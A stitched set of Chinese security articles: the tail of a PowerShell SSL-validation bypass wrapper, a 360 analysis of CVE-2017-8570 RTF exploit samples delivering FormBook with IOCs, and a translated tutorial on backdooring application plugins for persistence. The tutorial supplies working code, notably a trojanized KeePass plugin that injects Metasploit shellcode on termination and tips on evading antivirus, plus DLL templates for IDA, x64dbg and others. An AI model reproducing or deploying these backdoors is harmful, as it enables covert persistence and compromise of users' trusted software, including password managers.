$store = Get-Item "cert:CurrentUserMy"
$store.open("MaxAllowed")
$store.add($importCert)
$store.close()
#Wrap Invoke-WebRequest
$newWebRequest = "Invoke-WebRequest $url $cmdstr"
IEX $newWebRequest
#Remove Cert & Clear Validation Callback
Get-ChildItem -Path "cert:CurrentUserMy" -DnsName $fname | Remove-Item -force -confirm:0
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = $null
}
}
New-Alias wget-ss Invoke-SelfSignedWebRequest
```
代码下载：Invoke-SelfSignedWebRequest.PDF：
<https://blogs.sans.org/pen-testing/files/2017/03/Invoke-SelfSignedWebRequest_00.pdf>
Invoke-SelfSignedWebRequest**命令是对**Invoke-WebRequest**命令的一个封装，使用该命令可以连接到目标主机，然后下载X.509证书并将其加载进当前用户的证书存储区。
接下来，它将Web请求传递给**Invoke-WebRequest**，从证书存储区中删除证书并重置**ServerCertificateValidationCallback**函数以便使系统恢复原状。所有的活都帮你干了，这感觉是不是很好？！
无效SSL证书绕过技巧和方法中所用到的代码已上传至Github，这些只是**SelfSignedWebRequest**代码库中的一部分：<https://github.com/0sm0s1z/Invoke-SelfSignedWebRequest>
也许你已经发现`Disable-SSLValidation`命令也很有用。它利用反射机制实现了`System.Net.ICertificatePolicy`类，以禁用SSL证书校验。不过这条命令年代比较久远了，至于你能用来做什么就因人而异了。
祝你玩的开心！ | 社区文章 |
# CVE-2017-8570首次公开的野外样本及漏洞分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 概述
360威胁情报中心曾在2017年8月发布了《乌龙的CVE-2017-8570样本及背后的狗血》（详见参考资料[1]），当时由于在VirusTotal上发现了多例标注为CVE-2017-8570的Office幻灯片文档恶意样本，所以有安全厂商宣称第一时间捕获了最新的Office
CVE-2017-8570野外利用漏洞样本，但经过360威胁情报中心的分析判断，这批Exploit样本实际上是CVE-2017-0199的另外一种利用方式（通过Office幻灯片加载执行Scriptletfile脚本），在微软2017年4月份的补丁中已经针对CVE-2017-0199这种利用方式实行了修补。
直到本月初，360威胁情报中心才监控到互联网上首次出现了真实的CVE-2017-8570野外攻击样本，基于360威胁情报中心的数据，以下热力图显示了从2018年1月11日以来CVE-2017-8570样本量的提交情况，可以看到漏洞Exploit一旦公开使用，马上就会进入被攻击者频繁使用的状态：
另外，因为CVE-2017-0199有天生缺陷（这部分我们会在随后的章节中描述），实际上目前已公开的CVE-2017-0199利用样本在Office
Word上的利用威胁并不大，而CVE-2017-8570并没有该缺陷，所以8570在Office
Word上利用的实际效果要比0199好很多，但POC构造相对较难，这也是一开始没有发现野外利用的原因之一。
## 样本分析
该漏洞还处于未被利用或尚无已知利用的状态：
直到2018年1月11日左右，360威胁情报中心才首次发现野外第一个利用CVE-2017-8570的RTF样本，随后利用CVE-2017-8570漏洞的攻击样本逐渐增多，我们选择最近出现的一个真实攻击样本进行分析。
### 野外利用的RTF样本分析
由于真实的CVE-2017-8570漏洞攻击样本在本月前几乎未出现过，所以相关杀软对该漏洞的检出率还不够理想，以我们接下来分析的攻击样本在VirusTotal上的查杀情况来看，57家杀软中只有11家能够查杀：
#### **恶意RTF** **样本分析：**
* 样本利用了RTF文档在VISTA以后的系统中会自动释放Package对象到%tmp%目录的特性，在文档将恶意Scriptletfile（.sct）脚本文件以Package对象的方式插入，在受害者打开RTF文档后，Package对象中的Scriptletfile（.sct）脚本文件会自动释放到%tmp%目录下
样本插入了两个关键的Objdata，其中一个是Package对象，包含的其实是一个Scriptletfile（.sct）脚本文件：
另一个则是包含了CVE-2017-8570漏洞的OLE2Link对象：
* 打开RTF文档后，自动释放Package对象到%tmp%目录，插入的Package对象实际上是一个恶意Scriptletfile（.sct）脚本文件
* 另一个OLE2Link对象用来触发漏洞，漏洞触发成功后会直接加载%tmp%目录下的sct脚本执行
包含漏洞的OLE2Link对象中使用了Composite Moniker来将“绑定”一个File Moniker，而File
Moniker顾名思义会指定一个文件，漏洞样本中的File
Moniker指定的是本地%tmp%目录中的sct脚本文件，而该sct脚本文件恰好是Package对象中释放出来的：
* File Moniker检测到加载的文件后缀是.sct后，通过COM接口加载执行Scriptletfile脚本文件
* sct文件中调用Jscript，从网络中下载Payload（远控木马）保存为%APPDATA%\adobeupdated2.exe并执行
### Payload
分析发现样本使用的Payload是FormBook远控软件，FormBook是一款以窃密为主的远程控制软件。FireEye曾报道过有APT组织使用FormBook作为Payload针对美韩航空航天公司、国防承包商与部分制造企业展开网络钓鱼攻击。
样本使用了VB编写，运行后首先以挂起状态创建一个新的自身进程，之后解密出真正的恶意代码，再使用ZwWriteVirtualMemory将恶意代码写入到刚创建的傀儡进程中，最后启动傀儡进程执行恶意代码。傀儡进程首先遍历进程列表查找Explorer.exe，并使用NtMapViewOfSection向Explorer.exe注入ShellCode：
Explorer中注入的ShellCode会在%systemroot%\system32下随机选取一个exe文件再次以傀儡进程的方式注入ShellCode，新的傀儡进程会删除原始病毒样本，并重新向Explorer.exe注入ShellCode，该ShellCode
为最终的执行的恶意代码。之后恶意代码会连接C&C服务器，以Get方式发送连接请求：
通过判断C&C指令以及特殊的“FBNG”字符串标志来执行对应的木马功能：
接收指令以及对应的木马功能：
木马执行流程
### Exploit来源
2018年1月9日，有安全研究人员在GitHub上（<https://github.com/rxwx/CVE-2017-8570>）上传了CVE-2018-8570的漏洞利用构造工具，360威胁情报中心通过分析确认该工具的确为针对CVE-2018-8570的Exploit构造工具，并且捕获到的攻击样本几乎都是使用该工具生成。
考虑到漏洞相关的技术细节和验证程序已经公开，所以此漏洞接下来极有可能被利用来执行大规模的攻击。
## 漏洞分析
### 漏洞概述
微软在2017年7月的安全更新中修复了这个针对Office的远程命令执行漏洞（CVE-2017-8570），该漏洞实际上是利用了Office
OLE中的Composite Moniker对象在组合File Moniker对象的过程中，未做安全性检测，将File
Moniker对象指定的远程/本地的ScriptletFile（.sct）脚本文件在Office中直接执行。
微软修复CVE-2017-0199实际上是在Office中禁用了htafile对象和script对象，而没有禁用ScriptletFile对象，由于通过Composite
Moniker的方式可以执行ScriptletFile（.sct）脚本，相当于绕过了CVE-2017-0199的补丁修复，所以在针对CVE-2017-8570的补丁修复中，微软禁用了ScriptletFile对象：
* 2017年4月，修复CVE-2017-0199，禁用htafile对象和script对象
*
2017年7月，修复CVE-2017-8570，禁用ScriptletFile对象
### Composite Moniker
Composite Moniker对象的作用是可以将某个Moniker对象定义为一个新的Moniker对象（New
Moniker），或者将多个Moniker对象进行组合，比如可以使用Composite Moniker对象将两个File
Moniker对象组合成一个。假设Composite Moniker对象包含了两个File Moniker对象：
File Moniker 1：”c:\work\art”
File Moniker 2：”..\backup\myfile.doc”
通过Composite Moniker对象进行组合后，相当于得到了一个带有完整文件路径的File
Moniker对象：”c:\work\backup\myfile.doc”。
在触发漏洞的样本中有三个Moniker对象，分别是：
Composite Moniker：{00000309-0000-0000-C000-000000000046}
File Moniker：{00000303-0000-0000-C000-000000000046}
New Moniker：{ECABAFC6-7F19-11D2-978E-0000F8757E2A}
样本中的Composite Moniker将File Moniker定义为了一个New Moniker新对象：
### 执行ScriptletFile脚本
Composite Moniker在将File Moniker定义为一个New
Moniker新对象的过程中，会调用IMoniker::BindToObject方法将File
Moniker进行Bind操作，IMoniker::BindToObject函数原型如下：
HRESULT BindToObject(
[in] IBindCtx *pbc,
[in] IMoniker *pmkToLeft,
[in] REFIID riidResult,
[out] void **ppvResult
);
pmkToLeft则指向File Moniker，File
Moniker在样本中指定的文件为：%tmp%\MUZTWOWEZTHOBKW.sct，而由于File
Moniker需要初始化指定的文件，对象在检测到文件后缀后.sct后，会自动在注册表中查找处理.sct文件的接口：
确定.sct后缀
关联scriptletfile的CLISD
定位处理接口
查找到处理.sct文件的处理接口后，调用对应的接口启动.sct脚本执行环境，并执行脚本，栈回溯显示整个流程执行过程：
0:000> k
ChildEBP RetAddr
0037abe8 62e048ff jscript!CScriptRuntime::Run <-- 执行.sct脚本
0037ace4 62e04783 jscript!ScrFncObj::CallWithFrameOnStack+0x15f
0037ad3c 62e04cc3 jscript!ScrFncObj::Call+0x7b
0037ade0 62e13797 jscript!CSession::Execute+0x23d
0037ae2c 62e10899 jscript!COleScript::ExecutePendingScripts+0x16b
0037ae48 6c61831f jscript!COleScript::SetScriptState+0x51
0037ae58 6c618464 scrobj!ScriptEngine::Activate+0x1a
0037ae70 6c6199d3 scrobj!ComScriptlet::Inner::StartEngines+0x6e
0037aec0 6c61986e scrobj!ComScriptlet::Inner::Init+0x156
0037aed0 6c61980b scrobj!ComScriptlet::New+0x3f
0037aef0 6c6197d0 scrobj!ComScriptletConstructor::CreateScriptletFromNode+0x26
0037af10 6c623b7e scrobj!ComScriptletConstructor::Create+0x4c
0037af3c 6c612946 scrobj!ComScriptletFactory::CreateInstanceWithContext+0x115
0037af58 53c464be scrobj!ComBuiltInFactory::CreateInstance+0x19
0037afac 7601b573 comsvcs!CNewMoniker::BindToObject+0x14f <-- New Moniker
0037afe0 76083d8e ole32!CCompositeMoniker::BindToObject+0x105 <-- Composite Moniker定义File Moniker
0037b04c 31a82c6a ole32!CDefLink::BindToSource+0x1bf
WARNING: Stack unwind information not available. Following frames may be wrong.
0037b090 3152f55e wwlib!wdGetApplicationObject+0x6cd2f
0037b120 31473477 wwlib!DllGetClassObject+0x158a4c
0038031c 314667ef wwlib!DllGetClassObject+0x9c965
003831e0 3146501f wwlib!DllGetClassObject+0x8fcdd
### 漏洞成因
由于整个处理过程都没有进行安全检测（是否可以执行可能包含恶意代码的脚本），但其中的每一个步骤单独看来都没有安全问题：Composite
Moniker将File Moniker定义为New Moniker、File
Moniker按照正常的流程识别加载.sct文件等等，但是将所有环节组合起来却导致了安全隐患，这是导致该漏洞的问题所在。
### 弥补CVE-2017-0199的天生缺陷
CVE-2017-0199漏洞利用的方式有两种，一种是在Office Word文档中利用，一种是在Office幻灯片中利用。已经公开的Office
Word文档中利用方法主要是通过漏洞执行.hta脚本，360威胁情报中心分析发现，其实大部分操作系统由于各种原因已经在注册表中对ActiveX控件执行.hta脚本的COM接口设置了killbit，也就是即使没有打上CVE-2017-0199漏洞补丁，在Office
Word文档中也无法执行.hta脚本：
这使得CVE-2017-0199漏洞在Office
Word文档中的利用威胁并不大，然而CVE-2017-8570漏洞利用执行的.sct脚本对应的COM接口却并未被禁止，所以CVE-2017-8570在Office
Word文档中的威胁要比CVE-2017-0199大很多。
## 防护建议
### 补丁修复
软件厂商微软已经发布了漏洞相应的补丁，360威胁情报中心建议用户及时更新Office补丁修复漏洞：
<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8570>
### 禁用“Package” ActiveX Control
360威胁情报中心监控到利用RTF文档自动释放恶意Package对象到%tmp%目录的特性进行Office漏洞攻击的样本越来越多，包括最近的CVE-2017-11882等漏洞利用也使用了该技巧，所以360威胁情报中心建议用户如果不需要使用插入Package对象这类功能，可以在注册表中通过设置killbit的方式禁用，以封堵这类攻击入口：
##
总结
从360威胁情报中心捕获到的样本来看，CVE-2017-8570漏洞利用样本公开使用后，马上就进入被频繁使用的状态，并且由于没有CVE-2017-0199在Office
Word中利用的“缺陷”，相信后续会有更多攻击者使用CVE-2017-8570替代CVE-2017-0199进行漏洞攻击。360威胁情报中心再次提醒用户，尽量不要打开来源不明的文档，也可以使用360安全卫士之类的防病毒软件对文档进行扫描后再打开以尽可能降低风险。
## IOC
**下载木马的地址**
---
pope.01g.info
**C &C**
www.scandcloud.net
www.paykasayetkilibayi.com
www.top-notchroofingexteriors.com.
www.witchyoasis.com.
www.adelmt.com
www.sixianguo.com
www.tortas2go.com
www.ofmaking360.com
www.barcodeenglish.win
www.raemianthuthiem.com
www.canarygo.com
www.jyhlbj.com
www.bitcointech.biz
www.olomnews.com
www.xiaomadaohang.com
## 参考资料
[1]<https://www.anquanke.com/post/id/86582>
[2] <https://justhaifei1.blogspot.co.uk/2017/07/bypassing-microsofts-cve-2017-0199-patch.html>
[3] <https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8570>
[4] <https://github.com/rxwx/CVE-2017-8570>
[5] <https://msdn.microsoft.com/en-us/library/windows/desktop/ms693788(v=vs.85).aspx> | 社区文章 |
# 如何在插件中植入后门
|
##### 译文声明
本文是翻译文章，文章原作者 AVERAGEJOE，文章来源：www.gironsec.com
原文地址：<https://www.gironsec.com/blog/2018/03/backdooring-plugins/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
很早以前我与黑客小伙伴们讨论时就诞生了这个想法，利用插件植入后门是实现持久化驻留的另一种方法。我们为什么不试一下在某些热门程序中植入后门呢？
今天我们先来谈谈如何在一些热门软件的插件中植入后门，目标主要是我电脑上已安装的一些程序。
## 二、Notepad++
第一个目标是[Notepad++](https://notepad-plus-plus.org/)。出于各种原因，我决定在“mimeTools.dll”种植入后门（这款插件刚好就在那里，看起来也比较“善良”）。
我这人喜欢直截了当的方式，因此我会采用汇编方式在这个DLL中植入后门。当然，我们可以直接下载插件模板（或者其他辅助工具）来编译，但这就没有多大乐趣了。如果我们想在exe中添加代码，最好能找到合适的位置。我们的后门载荷是一段shellcode，大小为251个字节。
也就是说，我们需要在目标中找到至少为251字节大小的可用代码洞（cave），否则我们就需要在DLL中添加新的区段（section），我选择使用后一种方式。我们可以尝试修改已有section的标志，但这种方法通常无法奏效，添加新的section可能是更加简单的一种方式。回顾我们之前文章中提到的方法，我们使用“Cff
Explorer”添加了新的section。在这里我会添加一个新的section，往里面填充一个文件（可以使用jpeg或者其他文件），之后重建PE头再保存。对了，别忘了将section标志设置为可执行（executable）或者包含代码（contains
code），否则跳转到这个section并不会运行我们的代码。另外我还给这个section起了个好名字。
在IDA中打开这个dll，我们可以看到新的代码段以及具体地址。当我们在调试器中打开dll时，我们需要使用这个地址实现长跳转并且粘贴/保存汇编形式的后门shellcode。我在之前的[文章](https://www.gironsec.com/blog/2016/06/backdooring-a-dll/)中也介绍了这方面内容，如果大家不知道如何处理，可以回头看看那个教程。
现在我们要做的就是将修改后的dll拖拽到notepad++的插件目录中，运行程序即可。接下来就是见证奇迹发生的时刻了：
点击“ok”按钮后Notepad++就会继续运行，但我们可以替换成其他代码，而不是简单地弹出对话框。
如果你不擅长编辑原始dll文件，那么可以考虑自己编写dll文件，但需要确保该文件符合notepad++的代码格式。
代码框架并不复杂，只需要导出几个函数即可：`IsUnicode`、`setInfo`、`getName`、`getFuncsArray`、`beNotified`以及`messageProc`。如果没有导出这些函数，notepad++会弹出警告，并不会运行我们编写的代码：
## 三、Hexchat
第一个目标已成功攻陷，还有更多目标在等着我们。接下来我选择Hexchat这个IRC客户端作为攻击目标（真正的黑客肯定会用到IRC）。
首先我们可以粗略观察一下hexchat中的示例插件，能得到许多信息：
只有一些导出表项。查阅官方文档后，可以发现只需要拷贝这些导出函数即可，操作起来易如反掌。
这一次我们可以使用dll框架代码。模仿另一个插件的导出函数，我们就能实现恶意代码的运行。C语言版本的框架代码如下所示：
#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lol)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
MessageBoxW(NULL,L"kek",L"wek",MB_OK);
break;
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
extern __declspec(dllexport) void hexchat_plugin_init(void)
{
MessageBoxW(NULL,L"Herro Mr hexchat 1",L"joe",MB_OK);
return;
}
extern __declspec(dllexport) void hexchat_plugin_deinit(void)
{
MessageBoxW(NULL,L"Herro Mr hexchat 2",L"joe",MB_OK);
return;
}
extern __declspec(dllexport) void hexchat_plugin_get_info(void)
{
MessageBoxW(NULL,L"Herro Mr hexchat 3",L"joe",MB_OK);
return;
}
为什么选择C语言？因为这样可以便于我们使用shellcode。
在C中使用shellcode非常方便，只需要3行代码即可：
#include <stdio.h>
#include <windows.h>
int main(void)
{
char shellcode[] = "x90x90x90";
void *exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof shellcode);
((void(*)())exec)();
return 0;
}
编译成64位dll后，我将该文件拖放到插件目录中（通常位于用户配置目录中）。根据执行结果，貌似程序首先会执行`dllmain`中`DLL_PROCESS_ATTACH`区域的代码：
接下来程序会启动插件初始化代码，如果时机正好，说不定你可以在IRC中碰到我。
## 四、Pidgin
现在我们可以移步下一个目标。我电脑上也安装了Pidgin即时消息软件，我们可以在上面植入后门。
步骤1：查看导出的dll表项：
步骤2：将这些表项载入框架型dll代码中。需要关注其中的TLS回调函数，我可能会专门写篇文章介绍这方面内容。
#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lol)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
MessageBoxW(NULL,L"kek",L"wek",MB_OK);
break;
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
extern __declspec(dllexport) int purple_init_plugin(char *filler, int filler2)
{
MessageBoxW(NULL,L"Herro Mr Pidgin",L"joe",MB_OK);
return 1;
}
步骤3：将生成的载荷放入用户配置目录中，等待加载。加载后`DLL_PROCESS_ATTACH`区域中的代码就会被执行，插件初始化代码看上去似乎只是一种摆设。
步骤4：？？？？
步骤5：大功告成！
## 五、Keepass
接下来让我们大胆一些，试试给Keepass植入后门！这次我们需要使用与前面略微不同的方法，因为Keepass是.NET程序，并非我经常编写的普通原生汇编代码。不用担心，C#非常简单，前面我也[介绍](https://www.gironsec.com/blog/2016/09/backdooring-a-dll-part-4/)过这方面内容。我们可以获取源码来编译，因此就不需要重复造轮子了。我决定“借用”其他人已有的代码，然后再添加恶意代码进行编译。这个插件项目为“QualityColumn”，大家也可以选择使用其他老的插件作为目标。
代码如下：
/*
KeePass QualityColumn Plugin
Copyright (C) 2010-2014 Dominik Reichl <[email protected]>
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
*/
using System;
using System.Collections.Generic;
using System.Text;
using System.Windows.Forms;
using System.Diagnostics;
using System.Runtime.InteropServices;
using KeePass.Forms;
using KeePass.Plugins;
using KeePass.UI;
using KeePass.Util.Spr;
using KeePassLib;
using KeePassLib.Cryptography;
using KeePassLib.Utility;
namespace QualityColumn
{
public sealed class QualityColumnExt : Plugin
{
[Flags]
public enum AllocationType
{
Commit = 4096,
Reserve = 8192,
Decommit = 16384,
Release = 32768,
Reset = 524288,
Physical = 4194304,
TopDown = 1048576,
WriteWatch = 2097152,
LargePages = 536870912
}
[Flags]
public enum AllocationProtect : uint
{
PAGE_NOACCESS = 1u,
PAGE_READONLY,
PAGE_READWRITE = 4u,
PAGE_WRITECOPY = 8u,
PAGE_EXECUTE = 16u,
PAGE_EXECUTE_READ = 32u,
PAGE_EXECUTE_READWRITE = 64u,
PAGE_EXECUTE_WRITECOPY = 128u,
PAGE_GUARD = 256u,
PAGE_NOCACHE = 512u,
PAGE_WRITECOMBINE = 1024u
}
/*
* windows/x64/exec - 275 bytes
* http://www.metasploit.com
* VERBOSE=false, PrependMigrate=false, EXITFUNC=none,
* CMD=cmd.exe
*/
byte[] buf = new byte[275] {
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,
0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,
0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,
0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,
0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,
0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,
0x87,0xff,0xd5,0xbb,0xaa,0xc5,0xe2,0x5d,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,
0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x6d,0x64,
0x2e,0x65,0x78,0x65,0x00 };
[DllImport("Kernel32.dll")]
private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, IntPtr lpStartAddress, IntPtr param,
UInt32 dwCreationFlags, ref UInt32 lpThreadId);
[DllImport("Kernel32.dll")]
private static extern IntPtr OpenProcess(uint lol, int int_0, int int_1);
[DllImport("Kernel32.dll", ExactSpelling = true, SetLastError = true)]
private static extern IntPtr VirtualAllocEx(IntPtr intptr_0, IntPtr intptr_1, IntPtr intptr_2, AllocationType allocationType_0, AllocationProtect allocationProtect_0);
[DllImport("Kernel32.dll", SetLastError = true)]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,
byte[] lpBuffer, int dwSize, ref int lpNumberOfBytesWritten);
private static IPluginHost m_host = null;
private QualityColumnProvider m_prov = null;
internal static IPluginHost Host
{
get { return m_host; }
}
public override bool Initialize(IPluginHost host)
{
Terminate();
m_host = host;
if(m_host == null) { Debug.Assert(false); return false; }
m_prov = new QualityColumnProvider();
m_host.ColumnProviderPool.Add(m_prov);
m_host.MainWindow.FileClosed += this.OnFileClosed;
return true;
}
public override void Terminate()
{
System.Diagnostics.Process olo = System.Diagnostics.Process.GetCurrentProcess();
int pid = olo.Id;
IntPtr hProcess = OpenProcess(0x001F0FFF, 0, pid);
if (hProcess == IntPtr.Zero)
{
throw new Exception("error!");
}
IntPtr intPtr = VirtualAllocEx(hProcess, IntPtr.Zero, (IntPtr)buf.Length,
AllocationType.Commit | AllocationType.Reserve, AllocationProtect.PAGE_EXECUTE_READWRITE);
int zero = 0;
IntPtr kek = IntPtr.Zero;
WriteProcessMemory(hProcess, intPtr, buf, buf.Length, ref zero);
UInt32 tid = 0;
CreateThread(0, 0, intPtr, kek, 0, ref tid);
if(m_host == null) return;
m_host.MainWindow.FileClosed -= this.OnFileClosed;
m_host.ColumnProviderPool.Remove(m_prov);
m_prov = null;
m_host = null;
}
private void OnFileClosed(object sender, FileClosedEventArgs e)
{
QualityColumnProvider.ClearCache();
}
}
public sealed class QualityColumnProvider : ColumnProvider
{
private const string QcpName = "Password Quality";
private const string QcpBitsSuffix = " bits";
private static object m_oCacheSync = new object();
private static Dictionary<string, uint> m_dCache =
new Dictionary<string, uint>();
private string[] m_vColNames = new string[] { QcpName };
public override string[] ColumnNames
{
get { return m_vColNames; }
}
public override HorizontalAlignment TextAlign
{
get { return HorizontalAlignment.Right; }
}
internal static void ClearCache()
{
lock(m_oCacheSync)
{
m_dCache.Clear();
}
}
public override string GetCellData(string strColumnName, PwEntry pe)
{
if(strColumnName == null) { Debug.Assert(false); return string.Empty; }
if(strColumnName != QcpName) return string.Empty;
if(pe == null) { Debug.Assert(false); return string.Empty; }
string strPw = pe.Strings.ReadSafe(PwDefs.PasswordField);
if(strPw.IndexOf('{') >= 0)
{
IPluginHost host = QualityColumnExt.Host;
if(host == null) { Debug.Assert(false); return string.Empty; }
PwDatabase pd = null;
try
{
pd = host.MainWindow.DocumentManager.SafeFindContainerOf(pe);
}
catch(Exception) { Debug.Assert(false); }
SprContext ctx = new SprContext(pe, pd, (SprCompileFlags.Deref |
SprCompileFlags.TextTransforms), false, false);
strPw = SprEngine.Compile(strPw, ctx);
}
uint uEst;
lock(m_oCacheSync)
{
if(!m_dCache.TryGetValue(strPw, out uEst)) uEst = uint.MaxValue;
}
if(uEst == uint.MaxValue)
{
uEst = QualityEstimation.EstimatePasswordBits(strPw.ToCharArray());
lock(m_oCacheSync)
{
m_dCache[strPw] = uEst;
}
}
return (uEst.ToString() + QcpBitsSuffix);
}
}
}
这里我们可以选择如何编译这些代码。Keepass可以接受类库（.NET
dll文件），也能接受“plgx”这种自有格式文件。如果选择后一种方式，我们可以更好地隐藏攻击载荷，规避杀毒软件，感谢Keepass提供这个功能！
32位的shellcode无法在我机器上的.NET环境中运行，具体原因不明，不要在意这个细节。
解决办法就是使用64位shellcode，即使宿主程序位32位程序也没问题。
现在我们可以编译攻击代码，在命令行中输入`KeePass.exe –plgx-create`，会弹出一个对话框让我们选择包含C#工程文件的目录。
只要将生成的plgx文件放入keepass目录中（并不一定要是插件目录），我们的插件就可以伴随keepass一起启动。
## 六、X64dbg
我是非常耿直的人，因此我把目光转向了调试器。[X64dbg](https://x64dbg.com/#start)是我正在使用的调试器，如果你还在使用olly或者immunity，你需要与时俱进，紧跟时代潮流了。
首先我们在CFF Explorer中加载程序（这一次没有使用ida）。
我们需要在dll框架代码中填入3个导出函数：
#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lol)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
MessageBoxW(NULL,L"hello x64dbg, i am a backdoor.",L"wek",MB_OK);
break;
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
extern __declspec(dllexport) void pluginit(void)
{
MessageBoxW(NULL,L"i am also a backdoor",L"joe",MB_OK);
return;
}
extern __declspec(dllexport) void plugsetup(void)
{
MessageBoxW(NULL,L"i am also a backdoor",L"joe",MB_OK);
return;
}
extern __declspec(dllexport) void plugstop(void)
{
MessageBoxW(NULL,L"i am also a backdoor",L"joe",MB_OK);
return;
}
为了让x64dbg加载我们的插件，只需要将我们的dll文件重命名为“.dp64”文件，将其放入插件目录中即可。
现在启动调试器，见证奇迹发生：
想象一下，如果某款恶意软件探测到x64dbg正在运行，它将自身副本解封装到插件目录，然后触发调试器崩溃，那么下次调试器运行时恶意软件也能自动运行，可利用的场景还有很多，不一而足。
## 七、IDA Pro
最后的重头戏留给IDA Pro。
我选择的是“COM Helper”这个插件，貌似IDA会自动加载这个插件。
插件文件位于插件目录中，如下所示：
在IDA中打开其中某个文件（有点讽刺意味），我们发现只有一个导出条目：`PLUGIN`。这样dll代码就比较简单了：
#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lol)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
MessageBoxW(NULL,L"Hi mr IDA",L"YO",MB_OK);
break;
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
extern __declspec(dllexport) void PLUGIN(void)
{
MessageBoxW(NULL,L"Hello IDA. I am a backdoor!",L"joe",MB_OK);
return;
}
编译dll代码，将其命名为“comhelper.dll”以及“comhelper64.dll”（要确保两个版本的IDA都能加载我们的插件），放入插件目录中即可。程序还是会加载`DLL_PROCESS_ATTACH`。
读到这里，大家会不会担心某些心怀不轨的黑客会窃取这种思路，开始散播带有后门插件的IDA种子？放心，没有人会这么做的。
## 八、Process Hacker
我的主机上还有许多程序可以植入后门插件，比如VLC、Foobar、DropBox、Ifranview、mumble以及Cheat
Engine等，但攻击者可能没有那么多时间。如果我们想在目标主机上实现本地持久化，可以考虑以用户每天都使用的某款程序作为目标来植入后门插件，注意要保持隐蔽性。
总之，我们只需要将恶意代码加入主dll文件的入口点中，就能得到运行机会。事实上这种方法对大多数插件来说都是适用的。当然，的确有部分插件预设了一些条件，比如需要使用特定的导出函数名等，但总体而言，我们可以将代码填入DllMain中的`DLL_PROCESS_ATTACH`区域，这就足以应对大多数情况。提问一下，大家之前有没有用过Process
Hacker？
如果我们将任何64位dll放入Process Hacker的“plugins”目录中，不需要做任何处理，程序就会运行我们的代码。这种现象与IDA
Pro类似：
对于其他插件，如果这么做不行，我们只需要拷贝导出函数名（只需要匹配函数名，不需要考虑序号），满足预设条件即可，剩下的工作就比较简单了。我觉得我们可以使用病毒或者其他程序来自动化完成这个工作。
## 九、总结
